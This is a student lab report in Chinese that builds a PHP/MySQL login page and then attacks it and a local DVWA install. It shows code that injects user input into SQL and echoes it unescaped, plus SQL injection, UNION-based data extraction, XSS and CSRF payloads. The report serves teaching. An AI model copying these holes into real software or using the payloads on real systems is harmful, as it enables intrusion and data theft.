一、實驗內容
1.複習了Web前端語言:HTML、JavaScript(JS)、CSS,對JS、Java、Jsp進行了辨析;後端語言:C、Java、PHP、Python、C#
2.對於資料庫:增刪改查,、create/select/delete/update/insert………………
3.SQLServe、MySql、Oracle。
4.針對Web的攻擊主要有以下三種:
SQL隱碼攻擊
XSS跨站指令碼攻擊(Cross-site Scripting (XSS))
CSRF:CSRF(Cross-site request forgery)
二、實驗過程
1.Web前端HTML
(1)能正常安裝、啟停Apache。
輸入service apache2 start
啟動服務
在瀏覽器中輸入迴環地址127.0.0.1
,能夠訪問apache網址則啟動服務
接下來試著關閉apachesystemctl stop apache2
檢視apache服務狀態systemctl status apache2
成功關閉apache服務
(2)理解HTML,理解表單,理解GET與POST方法
HTML
HTML(HyperText Markup Language,超文字標記語言)是用於建立網頁的標準標記語言。它使用標籤(tags)來描述網頁的結構和內容。HTML文件通常由頭部(head)和主體(body)兩部分組成,頭部包含文件的後設資料(如標題、字符集、樣式連結等),主體包含實際展示的內容。
表單(Form)
表單是HTML中的一個元素,用於收集使用者輸入的資料。表單可以包含各種輸入控制元件,如文字框、核取方塊、單選按鈕、下拉選單、檔案選擇器等。表單資料通常被髮送到伺服器進行處理,例如,註冊頁面、登入頁面、搜尋欄等都是表單的應用場景。
GET方法
GET方法是一種HTTP請求方法,用於請求從指定的資源獲取資料。使用GET方法時,表單資料會被附加到URL的末尾,形成一個查詢字串(query string)。由於GET請求的資料是暴露在URL中的,因此不適合傳輸敏感資訊,如密碼。GET請求通常用於請求資料而非提交資料,例如,搜尋查詢。
POST方法
POST方法也是一種HTTP請求方法,用於向指定的資源提交資料。與GET方法不同,POST請求的資料不會出現在URL中,而是包含在請求的body部分。這使得POST方法更適合傳輸敏感資料,如密碼、檔案上傳等。POST請求通常用於提交表單資料給伺服器進行處理,例如,註冊、登入、提交評論等。
(3)編寫一個含有表單的HTML。
建立一個html檔案cd /var/www/html
,touch 20222327.html
,用vim 20222405.html
進行編輯
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Welcome to login</title>
</head>
<body>
<h1>嘻嘻(#^.^#)</h1>
<form action="/submit" method="POST">
<label for="username">使用者名稱:</label><br>
<input type="text" id="username" name="username" required><br><br>
<label for="password">密碼:</label><br>
<input type="password" id="password" name="password" required><br><br>
<label for="gender">性別:</label><br>
<input type="radio" id="male" name="gender" value="male" checked>
<label for="male">男</label><br>
<input type="radio" id="female" name="gender" value="female">
<label for="female">女</label><br><br>
<label for="interests">興趣:</label><br>
<select id="interests" name="interests[]" multiple>
<option value="coding">程式設計</option>
<option value="music">音樂</option>
<option value="sports">運動</option>
</select><br><br>
<label for="message">留言:</label><br>
<textarea id="message" name="message" rows="4" cols="50"></textarea><br><br>
<button type="submit">提交</button>
</form>
</body>
</html>
使用http://127.0.0.1/20222327.html
瀏覽器開啟檔案後介面為(要先啟動apache)
這裡做出解釋,由於之前登入dvwa時瀏覽器儲存了使用者名稱和密碼,所以會自動輸入admin和對應的密碼
點選提交後跳轉頁面(由於沒有.php檔案所以404了)
2.Web前端javascipt
(1)理解JavaScript的基本功能,理解DOM。
JavaScript的基本功能
JavaScript是Web的程式語言,其基本功能主要體現在以下幾個方面:
1.嵌入動態文字於HTML頁面:透過JavaScript,開發者可以在HTML頁面中嵌入動態文字,使網頁內容更加豐富和生動。
2.對瀏覽器事件做出響應:JavaScript能夠監聽使用者的操作,如滑鼠點選、鍵盤輸入、滑鼠移動等,並根據這些操作執行相應的程式碼,從而增強網頁的互動性。
3.讀寫HTML元素:JavaScript可以直接操作HTML文件物件模型(DOM),讀取、修改、新增或刪除HTML元素和它們的屬性,實現網頁內容的動態更新。
4.表單驗證:在使用者提交表單之前,JavaScript可以用來驗證表單欄位的有效性,例如檢查是否填寫了必填項、輸入的格式是否正確(如郵箱地址、電話號碼等)、輸入的值是否在特定範圍內等。這有助於減少無效資料的提交,減輕伺服器負擔。
5.檢測訪客資訊:JavaScript可以檢測訪客的瀏覽器資訊,包括瀏覽器型別、版本、作業系統等,為開發者提供有關訪客環境的詳細資訊。
6.控制cookies:JavaScript可以建立、讀取、修改和刪除cookies,為網頁的會話管理和個性化設定提供支援。
7.伺服器端程式設計:基於Node.js技術,JavaScript還可以進行伺服器端程式設計,構建高效、可擴充套件的Web應用。
DOM(Document Object Model)
DOM,全稱Document Object Model(文件物件模型),是W3C(全球資訊網聯盟)組織推薦的處理可擴充套件標誌語言的標準程式設計介面。簡單來說,DOM是一種程式設計介面,它允許程式和指令碼動態地訪問和更新文件的內容、結構和樣式。
在網頁開發中,DOM將HTML文件或XML文件視作由多層節點(如元素節點、文字節點和屬性節點)構成的結構化樹。透過JavaScript等指令碼語言,開發者可以輕鬆地對這些節點進行增刪改查操作。DOM的重要性在於它使得開發者能夠以結構化、物件化的方式來理解和操作網頁內容,從而大大提高了開發的效率和靈活性。
DOM提供了豐富的API和工具,使得開發者能夠輕鬆地實現各種複雜的互動效果和動態內容更新。因此,熟練掌握DOM技術是前端開發人員的必備技能之一。
(2)在1的基礎上,編寫JavaScript驗證使用者名稱、密碼的規則。在使用者點選登陸按鈕後回顯“歡迎+輸入的使用者名稱”
首先完成JS的認證規則
對20222327.html進行更改
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>登入表單</title>
<script>
function validateForm(event) {
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
if (username.trim() === "" || username.length < 2) {
alert("使用者名稱不能為空,並且至少2個字元!");
event.preventDefault();
return false;
}
if (password.trim() === "" || password.length < 8) {
alert("密碼不能為空,並且至少8個字元!");
event.preventDefault();
return false;
}
// 如果驗證透過,則允許表單提交
return true;
}
</script>
<style>
.error { color: red; }
</style>
</head>
<body>
<h1>登入表單</h1>
<form onsubmit="return validateForm(event)" action="20222327index.php" method="post">
<label for="username">使用者名稱:</label><br>
<input type="text" id="username" name="username" required><br><br>
<label for="password">密碼:</label><br>
<input type="password" id="password" name="password" required><br><br>
<button type="submit">登入</button>
</form>
<div id="welcomeMessage" style="margin-top: 20px; font-size: 1.2em; color: green;"></div>
</body>
</html>
對使用者名稱規則的認證
對密碼規則的認證
接下來編寫一個在使用者點選登陸按鈕後回顯“歡迎+輸入的使用者名稱”的PHP頁面
進入html的資料夾cd /var/www/html
,創一個用於接收使用者登陸資料的檔案touch 20222327index.php
,進入編輯頁面,將程式碼貼上進去vim 20222327index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Welcome!</title>
</head>
<body>
<h1 align = "center">嘻嘻(#^.^#)<?php echo $_POST['username'];?></h1>
</body>
</html>
登陸成功後跳轉頁面
(3)嘗試注入攻擊:利用回顯使用者名稱注入HTML及JavaScript。
注入HTML
在登入介面賬號的文字框中輸入
嘻嘻(#.#)
點選登入後跳轉
注入JavaScript
在登入介面賬號的文字框中輸入<script>alert("嘻嘻(#^.^#)")</script>
點選後彈出
3.Web後端:MySQL基礎:正常安裝、啟動MySQL,建庫、建立使用者、修改密碼、建表
正常安裝、啟動MySQL,建庫、建表
用systemctl start mysql
開啟MySQL服務後用systemctl status mysql
檢視MySQL狀態
輸入mysql -u root -p
使用root登入,密碼為password
建立資料庫create database cy_db;
使用它use cy_db;
用create table 表名 (欄位設定列表);建立資料庫表,並插入資料:
使用者名稱為20222327cy,密碼為password。
create table login (username VARCHAR(20),password VARCHAR(20));
insert into login values('20222327cy','password');
查詢login表中的資料select * from login;
建立使用者、修改密碼
增加新使用者grant select,insert,update,delete on cy_db.* to cy@localhost identified by "20222327";
這也同時完成了將對該資料庫的所有表的select,insert,update,delete許可權授予新使用者。
登入新使用者
4.Web後端:編寫PHP網頁,連線資料庫,進行使用者認證
編輯php檔案vim /var/www/html/20222327.php
Welcome (#^.^#)
<?php
$con=mysqli_connect("127.0.0.1","cy","20222327","cy_db");
if (!$con)
{
die("Connection failed: " . mysqli_connect_error());
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>PHP(#^.^#)</title>
</head>
<style type="text/css">
.divForm{
position: absolute;/*絕對定位*/
width: 300px;
height: 200px;
text-align: center;/*(讓div中的內容居中)*/
top: 50%;
left: 50%;
margin-top: -200px;
margin-left: -150px;
}
</style>
<body>
<div class="divForm">
<h1 align="center">登陸介面</h1>
<form name="form1" method="post" action="20222327.php">
<table border = "0">
<tr>
<td>使用者名稱:</td>
<td><input type="text" name="username" value="" /></td>
</tr>
<tr>
<td>密    碼:</td>
<td><input type="password" name="userpwd" value="" /></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
</tr>
</table>
</form>
<?php
$username=$_POST["username"];
$userpwd=$_POST["userpwd"];
if($username&&$userpwd) {
$result = mysqli_query($con, "select * from login where username='$username' and password='$userpwd'");
$row = mysqli_fetch_array($result);
if ($row) {
echo "welcome!".$row['username'];
} else {
echo $username."密碼錯誤,請輸入正確口令!!!";
}
}
?>
</div>
</body>
</html>
同時對html檔案進行修改
在瀏覽器中輸入127.0.0.1/20222327.php,輸入cy_db中的使用者名稱和密碼
輸入錯誤密碼後
5.最簡單的SQL隱碼攻擊,XSS攻擊測試
SQL隱碼攻擊
輸入永真式' or 1=1#
,即使輸入了1位數字的密碼也能成功登入
XSS攻擊
輸入<script>alert(1)</script>
6.安裝DVWA或WebGoat平臺,並完成SQL隱碼攻擊、XSS、CSRF攻擊。
首先調整適應的安全等級(防止攻擊失敗還找不到頭腦)
SQL隱碼攻擊
1.sql語句猜測1
First name回顯在資料庫中對應的欄位,Surname同理假設表名為admin。
2.獲取資料庫名1' UNION SELECT 1,database() from information_schema.schemata#
資料庫名為:dvwa
3.獲取表名1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
兩個表,分別是guestbook、users
4.獲取列名1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
共有user_id、first_name、last_name、user、password、avatar、last_login、failed_login
5.獲取資料1' UNION SELECT 1,group_concat(user_id,0x3a,first_name,0x3a,last_name) from users#
可以獲取到user中的user_id、first_name、last_name(即姓名)
XSS
XSS(DOM)
將url中default=後面的內容改為,可以看到回顯
XSS(reflected)
直接在框中輸入
XSS(stored)
在massage中輸入
CSRF
輸入不一樣的密碼後
此時URL為http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123&Change=Change#
我們偽造一個URL:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
開啟URL後發現密碼已經被修改了
三、問題及解決方案
- 問題1:啟動mysql時一直報錯
- 問題1解決方案:啟動一下mariadb.service 就好了
systemctl start mariadb.service
四、學習感悟、思考等
這次的實驗在操作層面不難,還是保持著網路攻防的慣例:搭環境,如果環境搭好了具體的操作和原理其實不難,但是如果環境沒有搭好就要一遍又一遍的去配置環境。從內容角度來說,這次實驗最讓人感受深的就是靶場練習中體會到Web和資料庫原來會存在這樣的安全隱患,在之前學習相關課程的時候並沒有注意到相關問題,雖然相關問題在現階段肯定有所防範、有所改善,但是從學習者的角度來說,我們一定要加強防範意識,從底層設計時就要考慮好相關安全問題。